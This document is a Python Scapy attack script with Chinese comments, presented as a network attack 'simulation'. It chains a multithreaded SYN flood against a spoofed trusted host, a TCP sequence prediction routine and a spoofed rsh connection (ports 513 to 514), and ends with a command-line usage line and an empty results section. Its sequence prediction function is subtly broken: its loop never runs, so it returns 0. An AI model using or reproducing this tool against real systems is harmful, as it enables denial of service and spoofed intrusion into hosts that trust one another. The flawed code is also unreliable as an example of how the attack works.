“量子跃迁” 式网络攻击模拟矩阵

import threading
import argparse
import time
from scapy.layers.inet import IP, ICMP, TCP
from scapy.all import *

# 全局变量，用于统计发送失败的数据包数量，初始化为0
send_failure_count = 0
# 新增全局变量，记录当前的发送延迟时间，初始值设为0.01秒，用于控制发送SYN数据包的频率
current_delay = 0.01

# 函数用于在线程中发送SYN数据包
# - sport：源端口号，指定发送数据包的源端口
# - src：源IP地址，数据包的源IP
# - tgt：目标IP地址，数据包要发送到的目标IP
def send_syn_packet(sport, src, tgt):
    """
    用于在线程中发送SYN数据包的函数
    :param sport: 源端口号
    :param src: 源IP地址
    :param tgt: 目标IP地址
    """
    global send_failure_count, current_delay  # 声明使用全局变量，以便在函数内修改它们的值
    # 构建IP层数据包，设置源IP和目标IP
    ip_layer = IP(src=src, dst=tgt)
    # 构建TCP层数据包，设置源端口和目标端口（这里目标端口固定为513）
    tcp_layer = TCP(sport=sport, dport=513)
    pkt = ip_layer / tcp_layer  # 将IP层和TCP层数据包组合起来
    print(f"[DEBUG] Sending SYN packet with sport={sport} to {tgt}")  # 打印调试信息，显示正在发送的数据包信息
    max_retries = 3  # 最大重试次数，当发送失败时进行重试，最多尝试3次
    retries = 0
    while retries < max_retries:
        try:
            send(pkt)  # 使用Scapy的send函数发送数据包
            time.sleep(current_delay)  # 根据当前设置的延迟时间暂停，以此控制发送频率
            break  # 如果发送成功，跳出重试循环
        except Exception as e:
            send_failure_count += 1  # 发送失败，失败计数加1
            print(f"[ERROR] Failed to send packet with sport={sport} to {tgt}: {e}")  # 打印错误信息，显示发送失败的原因
            retries += 1
            if retries < max_retries:
                print(f"[INFO] Retrying to send packet with sport={sport} to {tgt} after 1 second...")
                time.sleep(1)  # 若重试次数未达到最大重试次数，等待1秒后再次尝试发送
            else:
                print(f"[ERROR] Max retries reached, giving up sending packet with sport={sport} to {tgt}")
            # 根据失败次数动态调整延迟时间，这里简单示例，每失败10次，延迟时间增加10%
            # 可以根据实际情况更精细调整策略，比如根据不同的失败率范围设置不同的调整幅度等
            if send_failure_count % 10 == 0:
                current_delay *= 1.1

# 发起SYN洪泛攻击的模拟函数（采用多线程方式增强发送能力）
# - src：源IP地址，SYN洪泛攻击中数据包的源IP
# - tgt：目标IP地址，SYN洪泛攻击要针对的目标IP
# - max_threads：最大同时运行的线程数量，用于控制并发发送数据包的线程数
def synFlood(src, tgt, max_threads):
    """
    发起SYN洪泛攻击的模拟函数（采用多线程方式增强发送能力）
    :param src: 源IP地址
    :param tgt: 目标IP地址
    :param max_threads: 最大同时运行的线程数量
    """
    total_packets = 10000 - 1024  # 总共要发送的数据包数量，从源端口1024到10000，共8976个数据包
    packets_per_thread = total_packets // max_threads  # 平均每个线程要发送的数据包数量
    # 简单估算每个线程发送完数据包大概需要的时间（假设每秒发送10个数据包，这里的时间估算很粗略，仅作参考）
    estimated_time_per_thread = packets_per_thread / 10
    estimated_total_time = estimated_time_per_thread * max_threads  # 估算整个程序运行大致需要的时间
    print(f"[INFO] Estimated program running time: approximately {estimated_total_time} seconds.")  # 打印估算的运行时间，提示用户大概需要等待多久
    threads = []
    for sport in range(1024, 10000):
        # 控制线程创建数量，避免过多线程同时启动，当正在运行的线程数量达到设定的最大值时，等待一段时间再创建新线程
        while threading.active_count() >= max_threads:
            time.sleep(0.1)
        t = threading.Thread(target=send_syn_packet, args=(sport, src, tgt))  # 创建一个线程，用于发送SYN数据包
        t.start()  # 启动线程
        threads.append(t)  # 将线程添加到线程列表中
    for t in threads:
        t.join()  # 等待所有线程执行完毕，确保所有数据包都发送完成
    print(f"[INFO] Total packets sent: {total_packets}")  # 打印总共发送的数据包数量
    print(f"[INFO] Failed packets: {send_failure_count}")  # 打印发送失败的数据包数量
    print(f"[INFO] Success rate: {((total_packets - send_failure_count) / total_packets) * 100:.2f}%")  # 计算并打印发送成功率

# 计算目标主机TCP序列号的函数
# - tgt：目标IP地址，要计算其TCP序列号的目标主机IP
# 返回值：计算后的TCP序列号
def calTSN(tgt):
    """
    计算目标主机TCP序列号的函数
    :param tgt: 目标IP地址
    :return: 计算后的TCP序列号
    """
    seqNum = 0
    preNum = 0
    diffseq = 0
    for x in range(1, 5):
        if preNum!= 0:
            preNum = seqNum
            pkt = IP(dst=tgt) / TCP()  # 构建一个简单的IP/TCP数据包，用于向目标主机发送，以获取相关信息来计算序列号
            print(f"[DEBUG] Sending packet to {tgt} for TSN calculation")
            try:
                ans = sr1(pkt, verbose=0, timeout=5)  # 使用Scapy的sr1函数发送数据包并等待响应，超时时间设为5秒，不打印详细发送信息
                print(f"[DEBUG] sr1 function returned result: {ans}")  # 新增输出语句，查看返回结果详情
                if ans is None:
                    print(f"[ERROR] sr1 function returned None, no response received from {tgt} during TSN calculation")
                elif ans.haslayer(TCP):
                    print(f"[DEBUG] Received response: {ans.summary()}")
                    seqNum = ans.getlayer(TCP).seq  # 从响应数据包中获取TCP序列号
                    diffseq = seqNum - preNum  # 计算本次获取的序列号与上次序列号的差值
                    print('[+] TCP Seq Difference:' + str(diffseq))
                else:
                    print(f"[ERROR] Received response does not contain TCP layer from {tgt} during TSN calculation")
            except Exception as e:
                print(f"[ERROR] Error occurred while calculating TSN for {tgt}: {e}")
    return seqNum + diffseq

# 进行IP地址欺骗建立连接的函数
# - src：源IP地址，用于欺骗的源IP地址
# - tgt：目标IP地址，要建立连接的目标IP地址
# - ack：确认号，用于构建TCP ACK数据包的确认号
def spoofConn(src, tgt, ack):
    """
    进行IP地址欺骗建立连接的函数
    :param src: 源IP地址
    :param tgt: 目标IP地址
    :param ack：确认号
    """
    ip_layer = IP(src=src, dst=tgt)  # 构建IP层数据包，设置欺骗的源IP和目标IP
    tcp_layer = TCP(sport=513, dport=514)  # 构建TCP层数据包，设置源端口和目标端口
    synPkt = ip_layer / tcp_layer  # 组合IP层和TCP层数据包，构造SYN数据包
    print(f"[DEBUG] Constructed SYN packet: {synPkt.summary()}")  # 打印调试信息，显示构造的SYN数据包信息
    try:
        send(synPkt)  # 发送构造好的SYN数据包
    except Exception as e:
        print(f"[ERROR] Failed to send SYN packet: {e}")

    ip_layer = IP(src=src, dst=tgt)  # 再次构建IP层数据包，同样设置欺骗的源IP和目标IP
    tcp_layer = TCP(sport=513, dport=514, ack=ack)  # 构建带有确认号的TCP层数据包，构造ACK数据包
    ackPkt = ip_layer / tcp_layer  # 组合IP层和TCP层数据包，构造ACK数据包
    print(f"[DEBUG] Constructed ACK packet: {ackPkt.summary()}")  # 打印调试信息，显示构造的ACK数据包信息
    try:
        send(ackPkt)  # 发送构造好的ACK数据包
    except Exception as e:
        print(f"[ERROR] Failed to send ACK packet: {e}")

# 主函数，程序的入口点，用于解析命令行参数并调用其他函数来执行相应的网络操作
def main():
    parser = argparse.ArgumentParser(description='Network operation tool')
    parser.add_argument('-s', dest='synSpoof', type=str, help='specify src for SYN Flood')
    parser.add_argument('-S', dest='srcSpoof', type=str, help='specify src for spoofed connection')
    parser.add_argument('-t', dest='tgt', type=str, help='specify target address')
    parser.add_argument('-m', dest='max_threads', type=int, default=5, help='specify the maximum number of threads')
    args = parser.parse_args()
    if args.synSpoof is None or args.srcSpoof is None or args.tgt is None:
        parser.print_help()
        exit(0)
    else:
        synSpoof = args.synSpoof
        srcSpoof = args.srcSpoof
        tgt = args.tgt
        max_threads = args.max_threads
        try:
            print('[+] Starting SYN Flood to suppress remote server.')
            synFlood(synSpoof, srcSpoof, max_threads)
            print('[+] Calculating correct TCP Sequence Number.')
            seqNum = calTSN(tgt) + 1
            print('[+] Spoofing Connection.')
            spoofConn(srcSpoof, tgt, seqNum)
            print('[+] Done.')
            exit(0)
        except Exception as e:
            print(f"[ERROR] An unexpected error occurred during program execution: {e}")
            exit(-1)


if __name__ == '__main__':
    main()


运行命令：
python network_tool.py -s <SYN洪泛攻击源IP地址> -S <欺骗连接源IP地址> -t <目标IP地址> -m <最大线程数量>
或：

返回结果：